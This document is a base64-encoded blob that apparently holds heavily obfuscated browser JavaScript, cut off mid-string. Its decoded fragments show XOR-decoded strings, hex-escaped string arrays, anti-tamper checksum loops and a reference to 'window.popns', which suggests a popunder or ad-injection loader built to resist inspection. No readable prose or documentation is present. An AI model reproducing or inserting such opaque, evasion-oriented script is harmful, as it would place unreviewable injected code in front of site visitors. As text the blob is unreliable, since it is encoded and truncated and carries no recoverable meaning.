NCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsX